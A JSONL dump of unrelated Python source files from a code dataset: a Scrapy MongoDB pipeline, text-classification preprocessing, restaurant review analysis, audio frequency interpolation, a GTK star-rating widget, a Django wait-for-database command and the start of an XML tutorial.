+{"seq_id":"478727746","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\nimport json, codecs\n\nimport pymongo\nfrom scrapy.conf import settings\n\nclass Sn2017Pipeline(object):\n def __init__(self):\n self.client = pymongo.MongoClient(host = settings['MONGO_HOST'],port = settings['MONOGO_PORT'])\n # 数据库登录需要帐号密码的话\n # self.client.admin.authenticate(settings['MINGO_USER'], settings['MONGO_PSW'])\n self.db = self.client[settings['MONGO_DB']] # 获得数据库的句柄\n self.coll = self.db[settings['MONGO_COLL']] # 获得collection的句柄\n def process_item(self, item, spider):\n if item['mingcheng']=='':\n raise DropItem()\n else:\n postItem = dict(item) # 把item转化成字典形式\n self.coll.save(postItem) # 向数据库插入一条记录\n return item # 会在控制台输出原item数据,可以选择不写\n","sub_path":"sn2017/sn2017/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"428853162","text":"import numpy as np\nimport pandas as pd\nimport nltk\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\n\ndef import_dataX(filename_train, filename_test):\n\n data_x = pd.read_csv(filename_train)\n # df_x = pd.DataFrame(data_x)\n\n data_y = pd.read_csv(filename_test)\n # df_y = pd.DataFrame(data_y)\n data_y = pd.merge(data_x, data_y, how='inner', on='Id')\n data_x = data_x.dropna(subset=['Score', 'Text'])\n data_x = drop_unnecessary(data_x)\n\n data_x = data_x.sample(4000)\n\n data_y = data_y.dropna(subset=['Text'])\n data_y = drop_unnecessary(data_y)\n data_y = data_y.drop(['Score_x'], axis=1)\n data_y = data_y.sample(4000)\n # print(data_x)\n # print(data_y)\n\n return data_x, data_y\n\n\n\n\n\ndef drop_unnecessary(Imported_df):\n Imported_df = Imported_df.drop(['Id',\n 'Summary',\n 'Time',\n 'ProductId',\n 'UserId',\n 'HelpfulnessNumerator',\n 'HelpfulnessDenominator'], axis=1)\n # print(Imported_df)\n return Imported_df\n\ndef extract_keywords(Inported_df):\n keyword_list = []\n cachedStopWords = nltk.corpus.stopwords.words(\"english\")\n cv = CountVectorizer(max_df=0.9, stop_words=cachedStopWords, max_features=10000)\n word_count_vector = cv.fit_transform(Inported_df['Text'])\n tfidf_transformer = TfidfTransformer(smooth_idf=True, use_idf=True)\n tfidf_transformer.fit(word_count_vector)\n feature_names = cv.get_feature_names()\n\n for text in Inported_df['Text']:\n tf_idf_vector = tfidf_transformer.transform(cv.transform([text]))\n\n sorted_idx = sort_coo(tf_idf_vector.tocoo())\n keywords = extract_topn_from_vector(feature_names, sorted_idx, 20)\n temp = []\n for k in keywords:\n temp.append(k)\n\n string = \" \".join(temp)\n keyword_list.append(string)\n\n keyword_series = pd.Series(keyword_list)\n keyword_series.rename(\"Keyword\")\n\n Inported_df[\"Keyword\"] = keyword_list\n Inported_df = Inported_df.drop(['Text'], axis=1)\n Inported_df = split_keywords(Inported_df)\n # print(Inported_df)\n return Inported_df\n\n\ndef split_keywords(df):\n df['kw1'],\\\n df['kw2'],\\\n df['kw3'],\\\n df['kw4'],\\\n df['kw5'],\\\n df['kw6'], \\\n df['kw7'], \\\n df['kw8'], \\\n df['kw9'], \\\n df['kw10'], \\\n df['kw11'], \\\n df['kw12'],\\\n df['kw13'],\\\n df['kw14'],\\\n df['kw15'],\\\n df['kw16'],\\\n df['kw17'],\\\n df['kw18'],\\\n df['kw19'],\\\n df['kw20'] = df['Keyword'].str.split(' ', 19).str\n # print(df)\n df = df.drop(['Keyword'], axis=1)\n df = df.dropna(subset=['kw1', 'kw2', 'kw3', 'kw4', 'kw5', 'kw6', 'kw7', 'kw8', 'kw9', 'kw10',\n 'kw11', 'kw12', 'kw13', 'kw14', 'kw15', 'kw16', 'kw17', 'kw18', 'kw19', 'kw20'])\n return df\n\n\ndef extract_topn_from_vector(feature_names, sorted_items, topn=10):\n \"\"\"get the feature names and tf-idf score of top n items\"\"\"\n # use only topn items from vector\n sorted_items = sorted_items[:topn]\n\n score_vals = []\n feature_vals = []\n\n # word index and corresponding tf-idf score\n for idx, score in sorted_items:\n # keep track of feature name and its corresponding score\n score_vals.append(round(score, 3))\n feature_vals.append(feature_names[idx])\n\n # create a tuples of feature,score\n # results = zip(feature_vals,score_vals)\n results = {}\n for idx in range(len(feature_vals)):\n results[feature_vals[idx]] = score_vals[idx]\n\n return results\n\n\ndef sort_coo(coo_matrix):\n tuples = zip(coo_matrix.col, coo_matrix.data)\n return sorted(tuples, key=lambda x: (x[1], x[0]), reverse=True)\n\n\ndef text_encode(text_df):\n encode_column = list(text_df.select_dtypes(include=['category', 'object']))\n # print(encode_column)\n le = LabelEncoder()\n for text in encode_column:\n text_df[text] = le.fit_transform(text_df[text].astype(str))\n # print(text_df)\n return text_df\n\n\ndef split_x_y(df):\n y_df = pd.DataFrame()\n y_df['Score'] = df['Score']\n df = df.drop(['Score'], axis=1)\n return df, y_df\n\n\ndef split_x_y_test(test_df):\n test_y_df = pd.DataFrame()\n test_y_df['Score'] = test_df['Score_y']\n test_df = test_df.drop(['Score'], axis=1)\n return test_df, test_y_df\n\n\ndef PCA_kw(x_df):\n data = StandardScaler().fit(x_df).transform(x_df)\n pca = PCA(n_components=400).fit_transform(data)\n x_reduct = pd.DataFrame(pca)\n return x_reduct\n\n\ndef lbg_classifier(train_df, test_df):\n train_df, y_df = split_x_y(train_df)\n test_df, test_y_df = split_x_y_test(test_df)\n train_df = PCA_kw(train_df)\n test_df = PCA_kw(test_df)\n\n clf = GradientBoostingClassifier(\n max_depth=15, n_estimators=6000,\n subsample=0.8,\n learning_rate=0.06, random_state=20\n )\n data = clf.fit(train_df, y_df.values.ravel())\n print(data)\n pre = clf.predict(test_df)\n # print(pre.score())\n\n# def svm_classifier(train_df, test_df):\n# y_df = pd.DataFrame()\n# y_df['Score'] = train_df['Score']\n# train_df = train_df.drop(['Score'], axis=1)\n# clf =\n\n\n\nimported_df_train, improted_df_test = import_dataX('/Users/yufanwen/PycharmProjects/cs506_midterm/bu-cs-506-fall-2019-midterm-competition/train.csv',\n '/Users/yufanwen/PycharmProjects/cs506_midterm/bu-cs-506-fall-2019-midterm-competition/test.csv')\n\n\ntext_train = extract_keywords(imported_df_train)\ntext_test = extract_keywords(improted_df_test)\nencoded_df_train = text_encode(text_train)\nencoded_df_test = text_encode(text_test)\nprint(encoded_df_test)\nprint(encoded_df_train)\n# a = lbg_classifier(encoded_df_train, encoded_df_test)\n","sub_path":"src/processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":6049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"166235639","text":"from Solvers.helper import *\n\n\nclass Complement:\n def __init__(self, base):\n assert 1 < base <= 10, language('Error.Base')\n self.base = base\n\n\n\n def base_compliment(self, number):\n \"\"\"\n Returns the complement of a number in a given base\n :param number:\n :return: Base complement\n \"\"\"\n assert check_base(number, self.base), 'Number doesn\\'t belong in base'\n number = self.reduced_base_compliment(number) + 1\n return number\n\n def reduced_base_compliment(self, number):\n \"\"\"\n Returns the reduced base complement of a number in a base\n :param number:\n :return: Reduced base complement\n \"\"\"\n assert check_base(number, self.base), \"Number doesn't belong in base\"\n digits = len(str(number))\n if self.base == 10:\n final_base = self.base ** digits\n else:\n final_base = str(str(self.base - 1) * digits)\n\n number = int(final_base) - number\n return number\n","sub_path":"Solvers/Complement.py","file_name":"Complement.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"236684052","text":"from parse import load_dataframes\nimport pandas as pd\nimport shutil\n\n\ndef sort_stores_by_score(dataframes, n=20, min_reviews=30):\n \"\"\"\n Req. 1-2-1 각 음식점의 평균 평점을 계산하여 높은 평점의 음식점 순으로 `n`개의 음식점을 정렬하여 리턴합니다\n Req. 1-2-2 리뷰 개수가 `min_reviews` 미만인 음식점은 제외합니다.\n \"\"\"\n #stroes_reviews 는 store 정보와 reviews 정보를 합친 테이블\n stores_reviews = pd.merge(\n dataframes[\"stores\"], dataframes[\"reviews\"], left_on=\"id\", right_on=\"store\"\n )\n\n # 합친 테이블을 store 와 store_name 이 같은 것 (같은 식당) 끼리 묶는다.\n # 이때 리뷰 개수를 dataFrame에 counts 라는 열을 추가하여 저장한다.\n stores_reviews[\"counts\"] = stores_reviews.groupby([\"store\", \"store_name\"])[\"score\"].transform('count')\n scores_group = stores_reviews.groupby([\"store\", \"store_name\"])\n\n # 묶은 것들 중 score를 평균 계산한다.\n scores = scores_group.mean()\n\n # 여기서 counts 가 min_reviews 보다 작을 경우 해당 행 삭제한다.\n scores = scores[scores['counts'] >= min_reviews]\n\n # 평균을 계산한 것들을 내림차순 정렬한다.\n score_sorted = scores.sort_values(by=\"score\", ascending=False)\n return score_sorted.head(n=n).reset_index()\n\n\ndef get_most_reviewed_stores(dataframes, n=20):\n \"\"\"\n Req. 1-2-3 가장 많은 리뷰를 받은 `n`개의 음식점을 정렬하여 리턴합니다\n \"\"\"\n stores_reviews = pd.merge(\n dataframes[\"stores\"], dataframes[\"reviews\"], left_on=\"id\", right_on=\"store\"\n )\n scores_group = stores_reviews.groupby([\"store\", \"store_name\"])\n top_reviews = scores_group.count()\n reviews_sorted = top_reviews.sort_values(by=[\"score\"], ascending=False) \n return reviews_sorted.head(n=n).reset_index()\n\n\ndef get_most_active_users(dataframes, n=20):\n \"\"\"\n Req. 1-2-4 가장 많은 리뷰를 작성한 `n`명의 유저를 정렬하여 리턴합니다.\n \"\"\"\n stores_reviews = pd.merge(\n dataframes[\"stores\"], dataframes[\"reviews\"], left_on=\"id\", right_on=\"store\"\n )\n scores_group = stores_reviews.groupby([\"user\"])\n top_reviewer = scores_group.count()\n reviewer_sorted = top_reviewer.sort_values(by=[\"score\"], ascending=False)\n return reviewer_sorted.head(n=n).reset_index()\n\n\ndef main():\n data = load_dataframes()\n\n term_w = shutil.get_terminal_size()[0] - 1\n separater = \"-\" * term_w\n\n stores_most_scored = sort_stores_by_score(data)\n\n print(\"[최고 평점 음식점]\")\n print(f\"{separater}\\n\")\n for i, store in stores_most_scored.iterrows():\n print(\n \"{rank}위: {store}({score}점)\".format(\n rank=i + 1, store=store.store_name, score=store.score\n )\n )\n print(f\"\\n{separater}\\n\\n\")\n\n stores_most_reviewed = get_most_active_users(data)\n\n print(\"[최다 리뷰 음식점]\")\n print(f\"{separater}\\n\")\n for i, store in stores_most_reviewed.iterrows():\n print(\n \"{rank}위: {store}({score}점)\".format(\n rank=i + 1, store=store.store_name, score=store.score\n )\n )\n print(f\"\\n{separater}\\n\\n\")\n\n stores_most_reviewer = get_most_active_users(data)\n\n print(\"[최다 리뷰 작성자]\")\n print(f\"{separater}\\n\")\n for i, store in stores_most_reviewed.iterrows():\n print(\n \"{rank}위: {user}({score}개)\".format(\n rank=i + 1, user=store.user, score=store.score\n )\n )\n print(f\"\\n{separater}\\n\\n\")\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"sub1/전중훈/analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":3629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"108484088","text":"from scipy.interpolate import interp1d\nimport numpy as np\nimport math\nimport config\n\n\ndef cubicInterpolation(freq, chunk):\n maximum = indexOfMaximum = i =0\n for x in chunk:\n if x > maximum:\n maximum = x\n indexOfMaximum = i\n i += 1\n chunk = chunk[indexOfMaximum - 2 : indexOfMaximum + 3]\n freq = freq[indexOfMaximum - 2 : indexOfMaximum + 3]\n f = interp1d(freq, chunk, kind='cubic')\n interpolateFreq = np.linspace(freq[0], freq[4], 500)\n\n interpolateChunk = []\n for x in interpolateFreq:\n interpolateChunk.append(f(x))\n\n maximum = indexOfMaximum = i =0\n for x in interpolateChunk:\n if x > maximum:\n maximum = x\n indexOfMaximum = i\n i += 1\n return interpolateFreq[indexOfMaximum] , maximum\n\n\ndef squareInterpolation(xaxisList, yaxisList):\n maximum = -0\n indexOfMaximum = i =0\n for x in yaxisList:\n if x > maximum:\n maximum = x\n indexOfMaximum = i\n i += 1\n\n if not ((indexOfMaximum == 0) or (indexOfMaximum == i)):\n x1 = xaxisList[indexOfMaximum - 1]\n y1 = yaxisList[indexOfMaximum - 1]\n x2 = xaxisList[indexOfMaximum]\n y2 = yaxisList[indexOfMaximum]\n x3 = xaxisList[indexOfMaximum + 1]\n y3 = yaxisList[indexOfMaximum + 1]\n\n A = np.array([( x1 ** 2, x1, 1), (x2 ** 2, x2, 1), (x3 ** 2, x3, 1)])\n b = np.array([y1, y2, y3])\n k = np.linalg.solve(A,b)\n\n interpolateFreq = np.linspace(xaxisList[indexOfMaximum - 1], xaxisList[indexOfMaximum + 1], 301)\n\n interpolateChunk = []\n for x in interpolateFreq:\n interpolateChunk.append(k[2] + (k[1] * x) + (k[0] * (x ** 2)) )\n\n maximum = -0\n indexOfMaximum = i =0\n for x in interpolateChunk:\n if x > maximum:\n maximum = x\n indexOfMaximum = i\n i += 1\n\n freq = interpolateFreq[indexOfMaximum]\n\n else: \n freq = xaxisList[indexOfMaximum]\n\n return freq\n\ndef getSpectrum(chunk):\n # normalized, windowed frequencies in data chunk\n spec = np.fft.rfft(chunk)\n # get magnitude \n magnitudes = abs(spec)\n return magnitudes\n\ndef findMax(chunk):\n maximum = indexOfMaximum = i =0\n for x in chunk:\n if x > maximum:\n maximum = x\n indexOfMaximum = i\n i += 1\n return indexOfMaximum, maximum\n\ndef lowCrossFilter(inArray, a):\n i = 0\n y = array('f', [0] * config.N_FFT)\n #y[0] =float((1 - a) * inArray[0])\n for x in inArray:\n y[i]=float(a * y[i - 1] + (1 - a) * x)\n i += 1\n return y\n\ndef removeTrash(chunk):\n i = 0\n for x in chunk:\n if x < config.silence_border:\n chunk[i] = 0\n i += 1\n return chunk\n\ndef findAllMaximums(chunk):\n maximum = indexOfMaximum = i = inm =0\n maxlist = []\n indexlist = []\n for x in chunk:\n if x > 0 and not inm:\n inm = 1\n maximum = x\n indexOfMaximum = i\n elif x > 0 and inm:\n if x > maximum:\n maximum = x\n indexOfMaximum = i\n elif x == 0 and inm:\n inm = 0\n maxlist.append(maximum)\n indexlist.append(indexOfMaximum)\n maximum = 0\n indexOfMaximum = 0\n i += 1\n return indexlist, maxlist\n\ndef findMaxPosition(xaxisList, yaxisList):\n maximum = indexOfMaximum = i =0\n for x in yaxisList:\n if x > maximum:\n maximum = x\n indexOfMaximum = i\n i += 1\n\n if (yaxisList[indexOfMaximum - 1] != yaxisList[indexOfMaximum + 1]) and not ((indexOfMaximum == 0) or (indexOfMaximum == i)):\n x2 = xaxisList[indexOfMaximum]\n y2 = yaxisList[indexOfMaximum]\n if yaxisList[indexOfMaximum - 1] > yaxisList[indexOfMaximum + 1]:\n x3 = xaxisList[indexOfMaximum + 1]\n y3 = yaxisList[indexOfMaximum + 1]\n x1 = xaxisList[indexOfMaximum - 1]\n y1 = yaxisList[indexOfMaximum - 1]\n else:\n x3 = xaxisList[indexOfMaximum - 1]\n y3 = yaxisList[indexOfMaximum - 1]\n x1 = xaxisList[indexOfMaximum + 1]\n y1 = yaxisList[indexOfMaximum + 1]\n tga = (y3 - y2) / (x3 - x2)\n x = ((tga * (x1 - x2) + (y1 - y2)) / (2 * tga)) + x2\n y = (tga * (x - x2) + y2) + y2\n else: \n y = maximum\n x = xaxisList[indexOfMaximum]\n return x, y\n\ndef myInterpolation2(xaxisList, yaxisList):\n maximum = indexOfMaximum = i =0\n for x in yaxisList:\n if x > maximum:\n maximum = x\n indexOfMaximum = i\n i += 1\n\n if not ((indexOfMaximum == 0) or (indexOfMaximum == i)):\n if (yaxisList[indexOfMaximum - 1] != yaxisList[indexOfMaximum + 1]):\n x2 = xaxisList[indexOfMaximum]\n y2 = yaxisList[indexOfMaximum]\n if yaxisList[indexOfMaximum - 1] > yaxisList[indexOfMaximum + 1]:\n x3 = xaxisList[indexOfMaximum + 1]\n y3 = yaxisList[indexOfMaximum + 1]\n x1 = xaxisList[indexOfMaximum - 1]\n y1 = yaxisList[indexOfMaximum - 1]\n else:\n x3 = xaxisList[indexOfMaximum - 1]\n y3 = yaxisList[indexOfMaximum - 1]\n x1 = xaxisList[indexOfMaximum + 1]\n y1 = yaxisList[indexOfMaximum + 1]\n tga = (y3 - y2) / (x3 - x2)\n x = ((tga * (x1 - x2) + (y1 - y2)) / (2 * tga)) + x2\n y = (tga * (x - x2) + y2) + y2\n else: \n y = maximum\n x = xaxisList[indexOfMaximum]\n else: \n y = maximum\n x = xaxisList[indexOfMaximum]\n\n # \"{0:0.3f}\".format(x - int(x))\n dec = x - int(x)\n if (dec < 0.003):\n newDec = 0\n elif (dec < 0.027):\n newDec = 0.1\n elif (dec < 0.084):\n newDec = 0.2\n elif (dec < 0.189):\n newDec = 0.3\n elif (dec < 0.368):\n newDec = 0.4\n elif (dec < 0.631):\n newDec = 0.5\n elif (dec < 0.811):\n newDec = 0.6\n elif (dec < 0.916):\n newDec = 0.7\n elif (dec < 0.974):\n newDec = 0.8\n elif (dec < 0.997):\n newDec = 0.9\n else:\n newDec = 1\n\n x = \"{0:0.1f}\".format(int(x) + newDec)\n\n return float(x)\n\n\ndef getAvargeAcurateFreq(currentAcurateFreq):\n n = config.SAMPLING_RATE // config.CHUNK_SIZE\n \n sumOf = 0\n config.accurateFreq = config.accurateFreq[1:]\n config.accurateFreq.append(currentAcurateFreq)\n for x in config.accurateFreq:\n sumOf += x \n return (sumOf / n)\n\n\n\n\n\ndef findnote(frequency):\n if frequency > 0:\n x = 12 * math.log(frequency/13.75, 2)\n n = int(round(x))\n octave = (n - 3) // 12\n if octave < 0:\n note = [\" C{0} \", \"C#{0}/Db{0}\", \" D{0} \", \"D#{0}/Eb{0}\", \" E{0} \", \" F{0} \", \"F#{0}/Gb{0}\",\" G{0} \", \n \"G#{0}/Ab{0}\", \" A{0} \", \"A#{0}/Bb{0}\", \" B{0} \"][n % 12 - 3].format(octave)\n else:\n note = [\" C{0} \", \" C#{0}/Db{0}\", \" D{0} \", \" D#{0}/Eb{0}\", \" E{0} \", \" F{0} \", \" F#{0}/Gb{0}\",\" G{0} \", \n \" G#{0}/Ab{0}\", \" A{0} \", \" A#{0}/Bb{0}\", \" B{0} \"][n % 12 - 3].format(octave)\n cent = (x - n) * 100\n return note, cent\n else: return ' 0 ' , 0 ","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":7346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"557524607","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\nimport gi\nfrom gi.repository import Gtk, Gdk, GObject\nimport sys\n\n\nBORDER_WIDTH = 5\nPIXMAP_SIZE = 22\nSTAR_PIXMAP = [\"22 22 77 1\",\n\" c None\",\n\". c #626260\",\n\"+ c #5E5F5C\",\n\"@ c #636461\",\n\"# c #949492\",\n\"$ c #62625F\",\n\"% c #6E6E6B\",\n\"& c #AEAEAC\",\n\"* c #757673\",\n\"= c #61625F\",\n\"- c #9C9C9B\",\n\"; c #ACACAB\",\n\"> c #9F9F9E\",\n\", c #61635F\",\n\"' c #656663\",\n\") c #A5A5A4\",\n\"! c #ADADAB\",\n\"~ c #646562\",\n\"{ c #61615F\",\n\"] c #6C6D6A\",\n\"^ c #797977\",\n\"/ c #868684\",\n\"( c #A0A19E\",\n\"_ c #AAAAA8\",\n\": c #A3A3A2\",\n\"< c #AAAAA7\",\n\"[ c #9F9F9F\",\n\"} c #888887\",\n\"| c #7E7E7C\",\n\"1 c #6C6C69\",\n\"2 c #626360\",\n\"3 c #A5A5A3\",\n\"4 c #ABABAA\",\n\"5 c #A9A9A7\",\n\"6 c #A2A2A1\",\n\"7 c #A3A3A1\",\n\"8 c #A7A7A6\",\n\"9 c #A8A8A6\",\n\"0 c #686866\",\n\"a c #A4A4A2\",\n\"b c #A4A4A3\",\n\"c c #A1A19F\",\n\"d c #9D9D9C\",\n\"e c #9D9D9B\",\n\"f c #A7A7A5\",\n\"g c #666664\",\n\"h c #A1A1A0\",\n\"i c #9E9E9D\",\n\"j c #646461\",\n\"k c #A6A6A4\",\n\"l c #A0A09F\",\n\"m c #9F9F9D\",\n\"n c #A9A9A8\",\n\"o c #A0A09E\",\n\"p c #9B9B9A\",\n\"q c #ACACAA\",\n\"r c #60615E\",\n\"s c #ADADAC\",\n\"t c #A2A2A0\",\n\"u c #A8A8A7\",\n\"v c #6E6F6C\",\n\"w c #787976\",\n\"x c #969695\",\n\"y c #8B8B8A\",\n\"z c #91918F\",\n\"A c #71716E\",\n\"B c #636360\",\n\"C c #686966\",\n\"D c #999997\",\n\"E c #71716F\",\n\"F c #61615E\",\n\"G c #6C6C6A\",\n\"H c #616260\",\n\"I c #5F605E\",\n\"J c #5D5E5B\",\n\"K c #565654\",\n\"L c #5F5F5D\",\n\" \",\n\" \",\n\" . \",\n\" + \",\n\" @#$ \",\n\" %&* \",\n\" =-;>, \",\n\" ';)!' \",\n\" ~{{]^/(_:<[}|*1@, \",\n\" 23&4_5367895&80 \",\n\" 2a4b:7c>def)g \",\n\" 2c4:h>id56j \",\n\" {k8lmeln2 \",\n\" j8bmoppqr \",\n\" {stusnd4v \",\n\" ws;x@yq;/ \",\n\" zfAB {CmD{ \",\n\" rE{ FGH \",\n\" IJ KL \",\n\" \",\n\" \",\n\" \"]\n\nclass StarHScale(Gtk.Widget):\n \"\"\"A horizontal Scale Widget that attempts to mimic the star\n rating scheme used in iTunes\"\"\"\n\n def __init__(self, max_stars=5, stars=0):\n \"\"\"Initialization, numstars is the total number\n of stars that may be visible, and stars is the current\n number of stars to draw\"\"\"\n\n #Initialize the Widget\n GObject.GObject.__init__(self)\n\n self.max_stars = max_stars\n self.stars = stars\n\n # Init the list to blank\n self.sizes = []\n for count in range(0,self.max_stars):\n self.sizes.append((count * PIXMAP_SIZE) + BORDER_WIDTH)\n\n def do_realize(self):\n \"\"\"Called when the widget should create all of its\n windowing resources. We will create our Gdk.Window\n and load our star pixmap.\"\"\"\n\n # First set an internal flag showing that we're realized\n self.realize()\n\n # Create a new Gdk.Window which we can draw on.\n # Also say that we want to receive exposure events\n # and button click and button press events\n\n #self.window = Gdk.Window(\n #self.get_parent_window(),\n #width=self.allocation.width,\n #height=self.allocation.height,\n #window_type=Gdk.WINDOW_CHILD,\n #wclass=Gdk.INPUT_OUTPUT,\n #event_mask=self.get_events() | Gdk.EventMask.EXPOSURE_MASK\n #| Gdk.EventMask.BUTTON1_MOTION_MASK | Gdk.EventMask.BUTTON_PRESS_MASK\n #| Gdk.EventMask.POINTER_MOTION_MASK\n #| Gdk.EventMask.POINTER_MOTION_HINT_MASK)\n\n # Associate the Gdk.Window with ourselves, Gtk+ needs a reference\n # between the widget and the gdk window\n #self.window.set_user_data(self)\n\n # Attach the style to the Gdk.Window, a style contains colors and\n # GC contextes used for drawing\n #self.style.attach(self.window)\n\n # The default color of the background should be what\n # the style (theme engine) tells us.\n #self.style.set_background(self.window, Gtk.StateType.NORMAL)\n #self.window.move_resize(*self.allocation)\n\n # load the star xpm\n #self.pixmap, mask = Gdk.pixmap_create_from_xpm_d(\n #self.window\n #, self.style.bg[Gtk.StateType.NORMAL]\n #, STAR_PIXMAP)\n\n # self.style is a Gtk.Style object, self.style.fg_gc is\n # an array or graphic contexts used for drawing the forground\n # colours\n #self.gc = self.style.fg_gc[Gtk.StateType.NORMAL]\n\n self.connect(\"motion_notify_event\", self.motion_notify_event)\n\n def do_unrealize(self):\n # The do_unrealized method is responsible for freeing the GDK resources\n # De-associate the window we created in do_realize with ourselves\n self.window.destroy()\n\n def do_size_request(self, requisition):\n \"\"\"From Widget.py: The do_size_request method Gtk+ is calling\n on a widget to ask it the widget how large it wishes to be.\n It's not guaranteed that gtk+ will actually give this size\n to the widget. So we will send gtk+ the size needed for\n the maximum amount of stars\"\"\"\n\n requisition.height = PIXMAP_SIZE\n requisition.width = (PIXMAP_SIZE * self.max_stars) + (BORDER_WIDTH * 2)\n\n\n def do_size_allocate(self, allocation):\n \"\"\"The do_size_allocate is called by when the actual\n size is known and the widget is told how much space\n could actually be allocated Save the allocated space\n self.allocation = allocation. The following code is\n identical to the widget.py example\"\"\"\n\n if self.get_realized():\n self.window.move_resize(*allocation)\n\n def do_expose_event(self, event):\n \"\"\"This is where the widget must draw itself.\"\"\"\n\n #Draw the correct number of stars. Each time you draw another star\n #move over by 22 pixels. which is the size of the star.\n for count in range(0,self.stars):\n self.window.draw_drawable(self.gc, self.pixmap, 0, 0\n , self.sizes[count]\n , 0,-1, -1)\n\n def motion_notify_event(self, widget, event):\n # if this is a hint, then let's get all the necessary\n # information, if not it's all we need.\n if event.is_hint:\n x, y, state = event.window.get_pointer()\n else:\n x = event.x\n y = event.y\n state = event.get_state()\n\n new_stars = 0\n if (state & Gdk.ModifierType.BUTTON1_MASK):\n # loop through the sizes and see if the\n # number of stars should change\n self.check_for_new_stars(event.x)\n\n def do_button_press_event(self, event):\n \"\"\"The button press event virtual method\"\"\"\n\n # make sure it was the first button\n if event.button == 1:\n #check for new stars\n self.check_for_new_stars(event.x)\n return True\n\n def check_for_new_stars(self, xPos):\n \"\"\"This function will determin how many stars\n will be show based on an x coordinate. If the\n number of stars changes the widget will be invalidated\n and the new number drawn\"\"\"\n\n # loop through the sizes and see if the\n # number of stars should change\n new_stars = 0\n for size in self.sizes:\n if (xPos < size):\n # we've reached the star number\n break\n new_stars = new_stars + 1\n\n #set the new value\n self.set_value(new_stars)\n\n def set_value(self, value):\n \"\"\"Sets the current number of stars that will be\n drawn. If the number is different then the current\n number the widget will be redrawn\"\"\"\n\n if (value >= 0):\n if (self.stars != value):\n self.stars = value\n #check for the maximum\n if (self.stars > self.max_stars):\n self.stars = self.max_stars\n # redraw the widget\n self.window.invalidate_rect(self.allocation,True)\n\n def get_value(self):\n \"\"\"Get the current number of stars displayed\"\"\"\n\n return self.stars\n\n def set_max_value(self, max_value):\n \"\"\"set the maximum number of stars\"\"\"\n\n if (self.max_stars != max_value):\n \"\"\"Save the old max incase it is less then the\n current number of stars, in which case we will\n have to redraw\"\"\"\n\n if (max_value > 0):\n self.max_stars = max_value\n #reinit the sizes list (should really be a sperate function\n self.sizes = []\n for count in range(0,self.max_stars):\n self.sizes.append((count * PIXMAP_SIZE) + BORDER_WIDTH)\n \"\"\"do we have to change the current number of\n stars?\"\"\"\n if (self.stars > self.max_stars):\n self.set_value(self.max_stars)\n\n def get_max_value(self):\n \"\"\"Get the maximum number of stars that can be shown\"\"\"\n\n return self.max_stars\n\nGObject.type_register(StarHScale)\n\n\nclass UI:\n \"\"\"\"\"\"\n\n def __init__(self):\n \"\"\"\"\"\"\n builder = Gtk.Builder()\n builder.add_from_file(\"ui.glade\")\n builder.connect_signals(self)\n window = builder.get_object(\"window\")\n window = Gtk.Window()\n window.resize(200, 50)\n starScale = StarHScale(10, 5)\n window.add(starScale)\n window.show_all()\n Gtk.main()\n\n def on_window_destroy(self, widget):\n \"\"\"\"\"\"\n sys.exit(0)\n\nif __name__ == '__main__':\n wmd = UI()","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":9843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"352107314","text":"import time\n\n# import psycopg2OperationalError as psyerror\n# import django.db.utils.OperationalError as OperationalError\nfrom psycopg2 import OperationalError as Psycopg2OpError\n\nfrom django.db.utils import OperationalError\nfrom django.core.management.base import BaseCommand\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n self.stdout.write('Waiting for database..')\n db_up = False\n while db_up is False:\n try:\n self.check(self,['default'])\n db_up=True\n except Psycopg2OpError:\n self.stdout.write('Database unavailable, waiting 1 second..')\n time.sleep(1)\n except OperationalError:\n self.stdout.write('Database unavailable, waiting 1 second..')\n time.sleep(1)\n\n self.stdout.write(self.style.SUCCESS('Database ready!'))","sub_path":"app/django_app/management/commands/wait_for_db.py","file_name":"wait_for_db.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"122288773","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n# author: bigfoolliu\n\n\n\"\"\"\nXml 是最突出的处理这种转换的标记(markup)格式,它使用标签(tag)分隔数据,\nXml 通常用于数据传送和消息,它存在一些子格式,如RSS 和Atom.\n\n如下面的示例文件menu.xml 所示:\n\n\n\n \n - breakfast burritos
\n - pancakes
\n \n \n - hamburger
\n \n \n - spaghetti
